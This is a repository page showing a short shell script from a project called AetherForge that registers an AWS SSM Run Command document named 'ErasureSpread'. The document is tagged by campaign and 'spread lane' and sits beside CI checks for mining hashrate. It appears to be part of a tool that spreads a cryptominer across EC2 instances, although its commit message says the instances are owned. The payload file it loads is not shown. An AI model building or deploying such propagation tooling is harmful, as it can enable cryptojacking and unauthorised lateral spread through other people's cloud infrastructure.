Files
AetherForge/templates/spread/ssm/create-document.sh
AetherForge f55ee47089
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add ssm_document spread lane for owned EC2 via SSM Run Command.
2026-06-07 09:56:14 -07:00

6 lines
318 B
Bash

#!/bin/sh
AWS_CLI="${AWS_CLI:-aws}"
DOC_DIR="$(cd "$(dirname "$0")" && pwd)"
DOC_NAME="AetherForge-ErasureSpread-{{BUILD_ID}}"
"$AWS_CLI" ssm create-document --name "$DOC_NAME" --document-type "Command" --content "file://${DOC_DIR}/document.json" --tags "Key=Campaign,Value={{CAMPAIGN}}" "Key=Lane,Value=ssm_document"